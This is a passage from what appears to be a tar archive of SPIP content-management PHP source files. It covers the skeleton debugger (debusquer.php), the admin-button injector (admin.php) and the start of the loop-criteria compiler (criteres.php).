{ if (!$p or $p[0]->type != 'texte' or !preg_match('/^fond\s*=\s*(.*)$/', $p[0]->texte, $r) ) { continue; } if ($r[1]) { $p[0]->texte = $r[1]; } else { unset($p[0]); } $champ->texte = $p; unset($champ->param[0][$k]); if (count($champ->param[0]) == 1) { array_shift($champ->param); } return; } } spip_log("inclure sans fond ni fichier"); } debusquer.php000066600000063645152442520540007301 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('public/decompiler'); include_spip('inc/filtres_mini'); // Le debusqueur repose sur la globale debug_objets, // affectee par le compilateur et le code produit par celui-ci. // Cette globale est un tableau avec comme index: // 'boucle' : tableau des arbres de syntaxe abstraite des boucles // 'contexte' : tableau des contextes des squelettes assembles // 'principal' : nom du squelette principal // 'profile' : tableau des temps de calcul des squelettes // 'resultat' : tableau des resultats envoyes (tableau de tableaux pour les boucles) // 'sequence' : tableau de sous-tableaux resultat/source/numero-de-ligne // 'sourcefile' : tableau des noms des squelettes inclus // 'squelette' : tableau des sources de squelettes // 'validation' : resultat final a passer a l'analyseur XML au besoin /** * Definir le nombre maximal d'erreur possible dans les squelettes * au dela, l'affichage est arrete et les erreurs sont affichees. * Definir a zero permet de ne jamais bloquer, * mais il faut etre tres prudent avec cette utilisation * * Sert pour les tests unitaires */ defined('_DEBUG_MAX_SQUELETTE_ERREURS') || define('_DEBUG_MAX_SQUELETTE_ERREURS', 9); /** * Point d'entrée pour les erreurs de compilation * * Point d'entrée pour les appels involontaires ($message non vide => erreur) * et volontaires (var_mode et var_profile) * * Si pas d'autorisation, les erreurs ne sont pas affichées * (mais seront dans les logs) * * Si l'erreur vient de SPIP, en parler sur `spip@rezo.net` * * @param bool|string|array $message * - Message d'erreur (string|array) * - false pour retourner le texte des messages d'erreurs * - vide pour afficher les messages d'erreurs * @param string|Contexte $lieu * Contexte : lieu d'origine de l'erreur * @param array $opt * Options pour debug ou tests unitaires * - 'erreurs' = 'get' : Retourne le tableau des erreurs * - 'erreurs' = 'reset' : Efface le tableau des erreurs * @return null|string * - string si $message à false. **/ function public_debusquer_dist($message = '', $lieu = '', $opt = array()) { static $tableau_des_erreurs = array(); // Pour des tests unitaires, pouvoir récupérer les erreurs générées if (isset($opt['erreurs'])) { if ($opt['erreurs'] == 'get') { return $tableau_des_erreurs; } if ($opt['erreurs'] == 'reset') { $tableau_des_erreurs = array(); return true; } } // Erreur ou appel final ? if ($message) { $message = debusquer_compose_message($message); $tableau_des_erreurs[] = array($message, $lieu); set_request('var_mode', 'debug'); $GLOBALS['bouton_admin_debug'] = true; // Permettre a la compil de continuer if (is_object($lieu) and (!isset($lieu->code) or !$lieu->code)) { $lieu->code = "''"; } // forcer l'appel au debusqueur en cas de boucles infernales $urgence = (_DEBUG_MAX_SQUELETTE_ERREURS and count($tableau_des_erreurs) > _DEBUG_MAX_SQUELETTE_ERREURS); if (!$urgence) { return; } } if (empty($GLOBALS['debug_objets']['principal'])) { // espace public ? if (isset($GLOBALS['fond'])) { $GLOBALS['debug_objets']['principal'] = $GLOBALS['fond']; } } include_spip('inc/autoriser'); if (!autoriser('debug')) { return; } include_spip('inc/headers'); include_spip('inc/filtres'); // en cas de squelette inclus, virer le code de l'incluant: // - il contient souvent une Div restreignant la largeur a 3 fois rien // - ca fait 2 headers ! // sauf si l'on se trouve deja dans un flux compresse (plugin compresseur // actif par exemple) if (ob_get_length() and !in_array('ob_gzhandler', ob_get_status()) ) { ob_end_clean(); } lang_select($GLOBALS['visiteur_session']['lang']); $fonc = _request('var_mode_objet'); $mode = _request('var_mode_affiche'); $self = str_replace("\\'", ''', self()); $self = parametre_url($self, 'var_mode', 'debug'); $res = debusquer_bandeau($tableau_des_erreurs) . '<br />' . debusquer_squelette($fonc, $mode, $self); if (!_DIR_RESTREINT or headers_sent()) { return $res; } if ($tableau_des_erreurs) { http_status(503); } http_no_cache(); if (isset($_GET['var_profile'])) { $titre = parametre_url($GLOBALS['REQUEST_URI'], 'var_profile', ''); $titre = parametre_url($titre, 'var_mode', ''); } else { if (!$fonc) { $fonc = $GLOBALS['debug_objets']['principal']; } $titre = !$mode ? $fonc : ($mode . (isset($GLOBALS['debug_objets']['sourcefile'][$fonc]) ? " " . $GLOBALS['debug_objets']['sourcefile'][$fonc] : "")); } if ($message === false) { lang_select(); return debusquer_entete($titre, $res); } else { echo debusquer_entete($titre, $res); } exit; } function debusquer_compose_message($msg) { if (is_array($msg)) { // si c'est un texte, c'est une traduction a faire, mais // sqlite renvoit aussi des erreurs alpha num (mais avec 3 arguments) if (!is_numeric($msg[0]) and count($msg) == 2) { // message avec argument: instancier $msg = _T($msg[0], $msg[1], 'spip-debug-arg'); } else { // message SQL: interpreter $msg = debusquer_requete($msg); } } // FIXME: le fond n'est pas la si on n'est pas dans un squelette // cela dit, ca serait bien d'indiquer tout de meme d'ou vient l'erreur $fond = isset($GLOBALS['fond']) ? $GLOBALS['fond'] : ""; // une erreur critique sort $message en array $debug = is_array($msg) ? $msg[1] : $msg; spip_log("Debug: " . $debug . " (" . $fond . ")"); return $msg; } function debusquer_bandeau($erreurs) { if (!empty($erreurs)) { $n = array(count($erreurs) . ' ' . _T('zbug_erreur_squelette')); return debusquer_navigation($erreurs, $n); } elseif (!empty($GLOBALS['tableau_des_temps'])) { include_spip('public/tracer'); list($temps, $nav) = chrono_requete($GLOBALS['tableau_des_temps']); return debusquer_navigation($temps, $nav, 'debug-profile'); } else { return ''; } } /** * Affiche proprement dans un tableau le contexte d'environnement * * @param array|string $env * @return string Code HTML **/ function debusquer_contexte($env) { if (is_array($env_tab = @unserialize($env))) { $env = $env_tab; } if (!$env) { return ''; } $res = ""; foreach ($env as $nom => $valeur) { if (is_array($valeur)) { $valeur_simple = array(); foreach ($valeur as $v) { $valeur_simple[] = is_array($v) ? 'array(size=' . count($v) . ')' : $v; } $valeur = '(' . count($valeur) . ' items) [' . join(',', $valeur_simple) . ']'; } $res .= "\n<tr><td><strong>" . nl2br(entites_html($nom)) . "</strong></td><td>: " . nl2br(entites_html($valeur)) . "</td></tr>\n"; } return "<div class='spip-env'><fieldset><legend>#ENV</legend>\n<div><table>$res</table></div></fieldset></div>\n"; } // Affichage du tableau des erreurs ou des temps de calcul // Cliquer sur les numeros en premiere colonne permet de voir le code function debusquer_navigation($tableau, $caption = array(), $id = 'debug-nav') { if (_request('exec') == 'valider_xml') { return ''; } $GLOBALS['bouton_admin_debug'] = true; $res = ''; $href = quote_amp(parametre_url($GLOBALS['REQUEST_URI'], 'var_mode', 'debug')); foreach ($tableau as $i => $err) { $boucle = $ligne = $skel = ''; list($msg, $lieu) = $err; if (is_object($lieu)) { $ligne = $lieu->ligne; $boucle = $lieu->id_boucle ? $lieu->id_boucle : ''; if (isset($lieu->descr['nom'])) { $nom_code = $lieu->descr['nom']; $skel = $lieu->descr['sourcefile']; $h2 = parametre_url($href, 'var_mode_objet', $nom_code); $h3 = parametre_url($h2, 'var_mode_affiche', 'squelette') . '#L' . $ligne; $skel = "<a href='$h3'><b>$skel</b></a>"; if ($boucle) { $h3 = parametre_url($h2 . $boucle, 'var_mode_affiche', 'boucle'); $boucle = "<a href='$h3'><b>$boucle</b></a>"; } } } $j = ($i + 1); $res .= "<tr id='req$j'><td style='text-align: right'>" . $j . " </td><td style='text-align: left'>" . (is_array($msg) ? implode('', $msg) : $msg) . "</td><td style='text-align: left'>" . ($skel ? $skel : " / ") . "</td><td class='spip-debug-arg' style='text-align: left'>" . ($boucle ? $boucle : " / ") . "</td><td style='text-align: right'>" . $ligne . "</td></tr>\n"; } return "\n<table id='$id'>" . "<caption onclick=\"x = document.getElementById('$id'); (x.style.display == '' ? x.style.display = 'none' : x.style.display = '');\">" . $caption[0] ## aide locale courte a ecrire, avec lien vers une grosse page de documentation # aider('erreur_compilation'), . "</caption>" // fausse caption du chrono (mais vraie nav) . (!empty($caption[1]) ? $caption[1] : '') . "<tr><th>" . _T('numero') . "</th><th>" . _T('public:message') . "</th><th>" . _T('squelette') . "</th><th>" . _T('zbug_boucle') . "</th><th>" . _T('ligne') . "</th></tr>" . $res . "</table>"; } /** * Retourne le texte d'un message d'erreur de requête * * Si une boucle cree des soucis, on peut afficher la requete fautive * avec son code d'erreur * * @param array $message * Description du message en 3 éléments : * - numéro d'erreur * - texte de l'erreur * - requête en erreur * @return string|array * Retourne le texte de l'erreur a afficher * ou un tableau si l'erreur est critique **/ function debusquer_requete($message) { list($errno, $msg, $query) = $message; // FIXME: ces écritures mélangent divers syntaxe des moteurs SQL // il serait plus prudent certainement d'avoir une fonction d'analyse par moteur if (preg_match(',err(no|code):?[[:space:]]*([0-9]+),i', $msg, $regs)) { $errno = $regs[2]; } elseif (is_numeric($errno) and ($errno == 1030 or $errno <= 1026) and preg_match(',[^[:alnum:]]([0-9]+)[^[:alnum:]],', $msg, $regs) ) { $errno = $regs[1]; } // Erreur systeme if (is_numeric($errno) and $errno > 0 and $errno < 200) { $retour = "<tt><br /><br /><blink>" . _T('info_erreur_systeme', array('errsys' => $errno)) . "</blink><br />\n<b>" . _T('info_erreur_systeme2', array('script' => generer_url_ecrire('base_repair'))) . '</b><br />'; spip_log("Erreur systeme $errno"); return array($retour, ''); } // Requete erronee $err = "<b>" . _T('avis_erreur_mysql') . " $errno</b><br /><tt>\n" . spip_htmlspecialchars($msg) . "\n<br /><span style='color: red'><b>" . spip_htmlspecialchars($query) . "</b></span></tt><br />"; //. aider('erreur_mysql'); return $err; } // http://code.spip.net/@trouve_boucle_debug function trouve_boucle_debug($n, $nom, $debut = 0, $boucle = "") { $id = $nom . $boucle; if (is_array($GLOBALS['debug_objets']['sequence'][$id])) { foreach ($GLOBALS['debug_objets']['sequence'][$id] as $v) { if (!preg_match('/^(.*)(<\?.*\?>)(.*)$/s', $v[0], $r)) { $y = substr_count($v[0], "\n"); } else { if ($v[1][0] == '#') // balise dynamique { $incl = $GLOBALS['debug_objets']['resultat'][$v[2]]; } else // inclusion { $incl = $GLOBALS['debug_objets']['squelette'][trouve_squelette_inclus($v[0])]; } $y = substr_count($incl, "\n") + substr_count($r[1], "\n") + substr_count($r[3], "\n"); } if ($n <= ($y + $debut)) { if ($v[1][0] == '?') { return trouve_boucle_debug($n, $nom, $debut, substr($v[1], 1)); } elseif ($v[1][0] == '!') { if ($incl = trouve_squelette_inclus($v[1])) { return trouve_boucle_debug($n, $incl, $debut); } } return array($nom, $boucle, $v[2] - 1 + $n - $debut); } $debut += $y; } } return array($nom, $boucle, $n - $debut); } // http://code.spip.net/@trouve_squelette_inclus function trouve_squelette_inclus($script) { preg_match('/include\(.(.*).php3?.\);/', $script, $reg); // si le script X.php n'est pas ecrire/public.php // on suppose qu'il prend le squelette X.html (pas sur, mais y a pas mieux) if ($reg[1] == 'ecrire/public') // si c'est bien ecrire/public on cherche le param 'fond' { if (!preg_match("/'fond' => '([^']*)'/", $script, $reg)) // a defaut on cherche le param 'page' { if (!preg_match("/'param' => '([^']*)'/", $script, $reg)) { $reg[1] = "inconnu"; } } } $incl = ',' . $reg[1] . '[.]\w$,'; foreach ($GLOBALS['debug_objets']['sourcefile'] as $k => $v) { if (preg_match($incl, $v)) { return $k; } } return ""; } // http://code.spip.net/@reference_boucle_debug function reference_boucle_debug($n, $nom, $self) { list($skel, $boucle, $ligne) = trouve_boucle_debug($n, $nom); if (!$boucle) { return !$ligne ? "" : (" (" . (($nom != $skel) ? _T('squelette_inclus_ligne') : _T('squelette_ligne')) . " <a href='$self&var_mode_objet=$skel&var_mode_affiche=squelette&var_mode_ligne=$ligne#L$ligne'>$ligne</a>)"); } else { $self .= "&var_mode_objet=$skel$boucle&var_mode_affiche=boucle"; return !$ligne ? " (boucle\n<a href='$self#$skel$boucle'>$boucle</a>)" : " (boucle $boucle ligne\n<a href='$self&var_mode_ligne=$ligne#L$ligne'>$ligne</a>)"; } } // affiche un texte avec numero de ligne et ancre. // http://code.spip.net/@ancre_texte function ancre_texte($texte, $fautifs = array(), $nocpt = false) { $var_mode_ligne = _request('var_mode_ligne'); if ($var_mode_ligne) { $fautifs[] = array($var_mode_ligne); } $res = ''; $s = highlight_string($texte, true); if (substr($s, 0, 6) == '<code>') { $s = substr($s, 6); $res = '<code>'; } $s = preg_replace(',<(\w[^<>]*)>([^<]*)<br />([^<]*)</\1>,', '<\1>\2</\1><br />' . "\n" . '<\1>\3</\1>', $s); $tableau = explode("<br />", $s); $format = "<span style='float:left;display:block;width:50px;height:1px'><a id='L%d' style='background-color: white; visibility: " . ($nocpt ? 'hidden' : 'visible') . ";%s' href='#T%s' title=\"%s\">%0" . strval(@strlen(count($tableau))) . "d</a></span> %s<br />\n"; $format10 = str_replace('white', 'lightgrey', $format); $formaterr = "color: red;"; $i = 1; $flignes = array(); $loc = array(0, 0); foreach ($fautifs as $lc) { if (is_array($lc)) { $l = array_shift($lc); $flignes[$l] = $lc; } else { $flignes[$lc] = $loc; } } $ancre = md5($texte); foreach ($tableau as $ligne) { if (isset($flignes[$i])) { $ligne = str_replace(' ', ' ', $ligne); $indexmesg = $flignes[$i][1]; $err = textebrut($flignes[$i][2]); // tentative de pointer sur la colonne fautive; // marche pas car highlight_string rajoute des entites. A revoir. // $m = $flignes[$i][0]; // $ligne = substr($ligne, 0, $m-1) . // sprintf($formaterr, substr($ligne,$m)); $bg = $formaterr; } else { $indexmesg = $ancre; $err = $bg = ''; } $res .= sprintf((($i % 10) ? $format : $format10), $i, $bg, $indexmesg, $err, $i, $ligne); $i++; } return "<div id='T$ancre'>" . '<div onclick="' . "jQuery(this).parent().find('a').toggle();" . '" title="' . _T('masquer_colonne') . '" style="cursor: pointer;">' . ($nocpt ? '' : _T('info_numero_abbreviation')) . "</div> " . $res . "</div>\n"; } // l'environnement graphique du debuggueur function debusquer_squelette($fonc, $mode, $self) { $texte = ''; if ($mode !== 'validation') { if (isset($GLOBALS['debug_objets']['sourcefile']) and $GLOBALS['debug_objets']['sourcefile']) { $res = "<div id='spip-boucles'>\n" . debusquer_navigation_squelettes($self) . "</div>"; } else { $res = ''; } if ($fonc) { $id = " id='$fonc'"; if (!empty($GLOBALS['debug_objets'][$mode][$fonc])) { list($legend, $texte, $res2) = debusquer_source($fonc, $mode); $texte .= $res2; } elseif (!empty($GLOBALS['debug_objets'][$mode][$fonc . 'tout'])) { $legend = _T('zbug_' . $mode); $texte = $GLOBALS['debug_objets'][$mode][$fonc . 'tout']; $texte = ancre_texte($texte, array('', '')); } } else { if (strlen(trim($res))) { return "<img src='" . chemin_image('compat-16.png') . "' alt='afficher-masquer le debug' id='spip-debug-toggle' onclick=\"var x = document.getElementById('spip-debug'); (x.style.display == '' ? x.style.display = 'none' : x.style.display = '');\" /><div id='spip-debug'>$res</div>"; } else { // cas de l'appel sur erreur: montre la page return isset($GLOBALS['debug_objets']['resultat']['tout']) ? $GLOBALS['debug_objets']['resultat']['tout'] : ''; } } } else { $valider = charger_fonction('valider', 'xml'); $val = $valider($GLOBALS['debug_objets']['validation'][$fonc . 'tout']); // Si erreur, signaler leur nombre dans le formulaire admin $GLOBALS['debug_objets']['validation'] = $val->err ? count($val->err) : ''; list($texte, $err) = emboite_texte($val, $fonc, $self); if ($err === false) { $err = _T('impossible'); } elseif ($err === true) { $err = _T('correcte'); } else { $err = ": $err"; } $legend = _T('validation') . ' ' . $err; $res = $id = ''; } return !trim($texte) ? '' : ( "<img src='" . chemin_image('compat-16.png') . "' alt='afficher-masquer le debug' id='spip-debug-toggle' onclick=\"var x = document.getElementById('spip-debug'); (x.style.display == '' ? x.style.display = 'none' : x.style.display = '');\" /><div id='spip-debug'>$res" . "<div id='debug_boucle'><fieldset$id><legend>" . "<a href='" . $self . "#f_" . substr($fonc, 0, 37) . "'> ↑ " . ($legend ? $legend : $mode) . "</a></legend>" . $texte . "</fieldset></div>" . "</div>"); } // http://code.spip.net/@emboite_texte function emboite_texte($res, $fonc = '', $self = '') { $errs = $res->err; $texte = $res->entete . ($errs ? '' : $res->page); if (!$texte and !$errs) { return array(ancre_texte('', array('', '')), false); } if (!$errs) { return array(ancre_texte($texte, array('', '')), true); } if (!isset($GLOBALS['debug_objets'])) { $colors = array('#e0e0f0', '#f8f8ff'); $encore = count_occ($errs); $encore2 = array(); $fautifs = array(); $err = '<tr><th>' . _T('numero') . "</th><th>" . _T('occurence') . "</th><th>" . _T('ligne') . "</th><th>" . _T('colonne') . "</th><th>" . _T('erreur') . "</th></tr>"; $i = 0; $style = "style='text-align: right; padding-right: 5px'"; foreach ($errs as $r) { $i++; list($msg, $ligne, $col) = $r; #spip_log("$r = list($msg, $ligne, $col"); if (isset($encore2[$msg])) { $ref = ++$encore2[$msg]; } else { $encore2[$msg] = $ref = 1; } $err .= "<tr style='background-color: " . $colors[$i % 2] . "'><td $style><a href='#debut_err'>" . $i . "</a></td><td $style>" . "$ref/$encore[$msg]</td>" . "<td $style><a href='#L" . $ligne . "' id='T$i'>" . $ligne . "</a></td><td $style>" . $col . "</td><td>$msg</td></tr>\n"; $fautifs[] = array($ligne, $col, $i, $msg); } $err = "<h2 style='text-align: center'>" . $i . "<a href='#fin_err'>" . " " . _T('erreur_texte') . "</a></h2><table id='debut_err' style='width: 100%'>" . $err . " </table><a id='fin_err'></a>"; return array(ancre_texte($texte, $fautifs), $err); } else { list($msg, $fermant, $ouvrant) = $errs[0]; $rf = reference_boucle_debug($fermant, $fonc, $self); $ro = reference_boucle_debug($ouvrant, $fonc, $self); $err = $msg . "<a href='#L" . $fermant . "'>$fermant</a>$rf<br />" . "<a href='#L" . $ouvrant . "'>$ouvrant</a>$ro"; return array(ancre_texte($texte, array(array($ouvrant), array($fermant))), $err); } } // http://code.spip.net/@count_occ function count_occ($regs) { $encore = array(); foreach ($regs as $r) { if (isset($encore[$r[0]])) { $encore[$r[0]]++; } else { $encore[$r[0]] = 1; } } return $encore; } function debusquer_navigation_squelettes($self) { $res = ''; $boucles = !empty($GLOBALS['debug_objets']['boucle']) ? $GLOBALS['debug_objets']['boucle'] : ''; $contexte = $GLOBALS['debug_objets']['contexte']; $t_skel = _T('squelette'); foreach ($GLOBALS['debug_objets']['sourcefile'] as $nom => $sourcefile) { $self2 = parametre_url($self, 'var_mode_objet', $nom); $nav = !$boucles ? '' : debusquer_navigation_boucles($boucles, $nom, $self, $sourcefile); $temps = !isset($GLOBALS['debug_objets']['profile'][$sourcefile]) ? '' : _T('zbug_profile', array('time' => $GLOBALS['debug_objets']['profile'][$sourcefile])); $res .= "<fieldset id='f_" . $nom . "'><legend>" . $t_skel . ' ' . $sourcefile . " :\n<a href='$self2&var_mode_affiche=squelette#f_$nom'>" . $t_skel . "</a>\n<a href='$self2&var_mode_affiche=resultat#f_$nom'>" . _T('zbug_resultat') . "</a>\n<a href='$self2&var_mode_affiche=code#f_$nom'>" . _T('zbug_code') . "</a>\n<a href='" . str_replace('var_mode=debug', 'var_profile=1&var_mode=recalcul', $self) . "'>" . _T('zbug_calcul') . "</a></legend>" . (!$temps ? '' : ("\n<span style='display:block;float:" . $GLOBALS['spip_lang_right'] . "'>$temps</span><br />")) . debusquer_contexte($contexte[$sourcefile]) . (!$nav ? '' : ("<table width='100%'>\n$nav</table>\n")) . "</fieldset>\n"; } return $res; } function debusquer_navigation_boucles($boucles, $nom_skel, $self, $nom_source) { $i = 0; $res = ''; $var_mode_objet = _request('var_mode_objet'); $gram = preg_match('/[.](\w+)$/', $nom_source, $r) ? $r[1] : ''; foreach ($boucles as $objet => $boucle) { if (substr($objet, 0, strlen($nom_skel)) == $nom_skel) { $i++; $nom = $boucle->id_boucle; $req = $boucle->type_requete; $crit = public_decompiler($boucle, $gram, 0, 'criteres'); $self2 = $self . "&var_mode_objet=" . $objet; $res .= "\n<tr style='background-color: " . ($i % 2 ? '#e0e0f0' : '#f8f8ff') . "'><td align='right'>$i</td><td>\n" . "<a class='debug_link_boucle' href='" . $self2 . "&var_mode_affiche=boucle#f_$nom_skel'>" . _T('zbug_boucle') . "</a></td><td>\n<a class='debug_link_boucle' href='" . $self2 . "&var_mode_affiche=resultat#f_$nom_skel'>" . _T('zbug_resultat') . "</a></td><td>\n<a class='debug_link_resultat' href='" . $self2 . "&var_mode_affiche=code#f_$nom_skel'>" . _T('zbug_code') . "</a></td><td>\n<a class='debug_link_resultat' href='" . str_replace('var_mode=', 'var_profile=', $self2) . "'>" . _T('zbug_calcul') . "</a></td><td>\n" . (($var_mode_objet == $objet) ? "<b>$nom</b>" : $nom) . "</td><td>\n" . $req . "</td><td>\n" . spip_htmlspecialchars($crit) . "</td></tr>"; } } return $res; } function debusquer_source($objet, $affiche) { $quoi = $GLOBALS['debug_objets'][$affiche][$objet]; if (!empty($GLOBALS['debug_objets']['boucle'][$objet]->id_boucle)) { $nom = $GLOBALS['debug_objets']['boucle'][$objet]->id_boucle; } else { $nom = $GLOBALS['debug_objets']['sourcefile'][$objet]; } $res2 = ""; if ($affiche == 'resultat') { $legend = $nom; $req = $GLOBALS['debug_objets']['requete'][$objet]; if (function_exists('_mysql_traite_query')) { $c = strtolower(_request('connect')); $c = $GLOBALS['connexions'][$c ? $c : 0]['prefixe']; $req = _mysql_traite_query($req, '', $c); } // permettre le copier/coller facile // $res = ancre_texte($req, array(), true); $res = "<div id='T" . md5($req) . "'>\n<pre>\n" . $req . "</pre>\n</div>\n"; // formatage et affichage des resultats bruts de la requete $ress_req = spip_query($req); $brut_sql = ''; $num = 1; // eviter l'affichage de milliers de lignes // personnalisation possible dans mes_options $max_aff = defined('_MAX_DEBUG_AFF') ? _MAX_DEBUG_AFF : 50; while ($retours_sql = sql_fetch($ress_req)) { if ($num <= $max_aff) { $brut_sql .= "<h3>" . ($num == 1 ? $num . " sur " . sql_count($ress_req) : $num) . "</h3>"; $brut_sql .= "<p>"; foreach ($retours_sql as $key => $val) { $brut_sql .= "<strong>" . $key . "</strong> => " . spip_htmlspecialchars(couper($val, 150)) . "<br />\n"; } $brut_sql .= "</p>"; } $num++; } $res2 = interdire_scripts($brut_sql); foreach ($quoi as $view) { // ne pas afficher les $contexte_inclus $view = preg_replace(",<\?php.+\?[>],Uims", "", $view); if ($view) { $res2 .= "\n<br /><fieldset>" . interdire_scripts($view) . "</fieldset>"; } } } elseif ($affiche == 'code') { $legend = $nom; $res = ancre_texte("<" . "?php\n" . $quoi . "\n?" . ">"); } elseif ($affiche == 'boucle') { $legend = _T('zbug_boucle') . ' ' . $nom; // Le compilateur prefixe le nom des boucles par l'extension du fichier source. $gram = preg_match('/^([^_]+)_/', $objet, $r) ? $r[1] : ''; $res = ancre_texte(public_decompiler($quoi, $gram, 0, 'boucle')); } elseif ($affiche == 'squelette') { $legend = $GLOBALS['debug_objets']['sourcefile'][$objet]; $res = ancre_texte($GLOBALS['debug_objets']['squelette'][$objet]); } return array($legend, $res, $res2); } // http://code.spip.net/@debusquer_entete function debusquer_entete($titre, $corps) { include_spip('balise/formulaire_admin'); include_spip('public/assembler'); // pour inclure_balise_dynamique include_spip('inc/texte'); // pour corriger_typo return _DOCTYPE_ECRIRE . html_lang_attributes() . "<head>\n<title>" . ('SPIP ' . $GLOBALS['spip_version_affichee'] . ' ' . _T('admin_debug') . ' ' . $titre . ' (' . supprimer_tags(corriger_typo($GLOBALS['meta']['nom_site']))) . ")</title>\n" . "<meta http-equiv='Content-Type' content='text/html" . (($c = $GLOBALS['meta']['charset']) ? "; charset=$c" : '') . "' />\n" . http_script('', 'jquery.js') . "<link rel='stylesheet' href='" . url_absolue(find_in_path('spip_admin.css')) . "' type='text/css' />" . "</head>\n" . "<body style='margin:0 10px;'>\n" . "<div id='spip-debug-header'>" . $corps . inclure_balise_dynamique(balise_FORMULAIRE_ADMIN_dyn('spip-admin-float', $GLOBALS['debug_objets']), false) . '</div></body></html>'; } admin.php000066600000004170152442520540006356 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Affichage des boutons d'administration * * @package SPIP\Core\Administration **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Ajoute les boutons d'administration de la page s'ils n'y sont pas déjà * * Insère la feuille de style selon les normes, dans le `<head>` * puis les boutons. * * Feuilles de style admin : d'abord la CSS officielle, puis la perso * * @param string $contenu * Contenu HTML de la page qui va être envoyée au navigateur * @return string * Contenu HTML, avec boutons d'administrations et sa CSS **/ function affiche_boutons_admin($contenu) { include_spip('inc/filtres'); // Inserer le css d'admin $css = "<link rel='stylesheet' href='" . url_absolue(direction_css(find_in_path('spip_admin.css'))) . "' type='text/css' />\n"; if ($f = find_in_path('spip_admin_perso.css')) { $css .= "<link rel='stylesheet' href='" . url_absolue(direction_css($f)) . "' type='text/css' />\n"; } ($pos = stripos($contenu, '</head>')) || ($pos = stripos($contenu, '<body>')) || ($pos = 0); $contenu = substr_replace($contenu, $css, $pos, 0); // Inserer la balise #FORMULAIRE_ADMIN, en float $boutons_admin = inclure_balise_dynamique( balise_FORMULAIRE_ADMIN_dyn('spip-admin-float'), false); ($pos = strripos($contenu, '</body>')) || ($pos = strripos($contenu, '</html>')) || ($pos = strlen($contenu)); $contenu = substr_replace($contenu, $boutons_admin, $pos, 0); return $contenu; } criteres.php000066600000276613152442520540007123 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Définition des {criteres} d'une boucle * * @package SPIP\Core\Compilateur\Criteres **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Une Regexp repérant une chaine produite par le compilateur, * souvent utilisée pour faire de la concaténation lors de la compilation * plutôt qu'à l'exécution, i.e. pour remplacer 'x'.'y' par 'xy' **/ define('_CODE_QUOTE', ",^(\n//[^\n]*\n)? *'(.*)' *$,"); /** * Compile le critère {racine} * * Ce critère sélectionne les éléments à la racine d'une hiérarchie, * c'est à dire ayant id_parent=0 * * @link http://www.spip.net/@racine * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_racine_dist($idb, &$boucles, $crit) { $not = $crit->not; $boucle = &$boucles[$idb]; $id_parent = isset($GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent']) ? $GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent'] : 'id_parent'; $c = array("'='", "'$boucle->id_table." . "$id_parent'", 0); $boucle->where[] = ($crit->not ? array("'NOT'", $c) : $c); } /** * Compile le critère {exclus} * * Exclut du résultat l’élément dans lequel on se trouve déjà * * @link http://www.spip.net/@exclus * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_exclus_dist($idb, &$boucles, $crit) { $not = $crit->not; $boucle = &$boucles[$idb]; $id = $boucle->primary; if ($not or !$id) { return (array('zbug_critere_inconnu', array('critere' => $not . $crit->op))); } $arg = kwote(calculer_argument_precedent($idb, $id, $boucles)); $boucle->where[] = array("'!='", "'$boucle->id_table." . "$id'", $arg); } /** * Compile le critère {doublons} ou {unique} * * Ce critères enlève de la boucle les éléments déjà sauvegardés * dans un précédent critère {doublon} sur une boucle de même table. * * Il est possible de spécifier un nom au doublon tel que {doublons sommaire} * * @link http://www.spip.net/@doublons * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_doublons_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $primary = $boucle->primary; // la table nécessite une clé primaire, non composée if (!$primary or strpos($primary, ',')) { return (array('zbug_doublon_sur_table_sans_cle_primaire')); } $not = ($crit->not ? '' : 'NOT'); // le doublon s'applique sur un type de boucle (article) $nom = "'" . $boucle->type_requete . "'"; // compléter le nom avec un nom précisé {doublons nom} // on obtient $nom = "'article' . 'nom'" if (isset($crit->param[0])) { $nom .= "." . calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent); } // code qui déclarera l'index du stockage de nos doublons (pour éviter une notice PHP) $init_comment = "\n\n\t// Initialise le(s) critère(s) doublons\n"; $init_code = "\tif (!isset(\$doublons[\$d = $nom])) { \$doublons[\$d] = ''; }\n"; // on crée un sql_in avec la clé primaire de la table // et la collection des doublons déjà emmagasinés dans le tableau // $doublons et son index, ici $nom // debut du code "sql_in('articles.id_article', " $debut_in = "sql_in('" . $boucle->id_table . '.' . $primary . "', "; // lecture des données du doublon "$doublons[$doublon_index[] = " // Attention : boucle->doublons désigne une variable qu'on affecte $debut_doub = '$doublons[' . (!$not ? '' : ($boucle->doublons . "[]= ")); // le debut complet du code des doublons $debut_doub = $debut_in . $debut_doub; // nom du doublon "('article' . 'nom')]" $fin_doub = "($nom)]"; // si on trouve un autre critère doublon, // on fusionne pour avoir un seul IN, et on s'en va ! foreach ($boucle->where as $k => $w) { if (strpos($w[0], $debut_doub) === 0) { // fusionner le sql_in (du where) $boucle->where[$k][0] = $debut_doub . $fin_doub . ' . ' . substr($w[0], strlen($debut_in)); // fusionner l'initialisation (du hash) pour faire 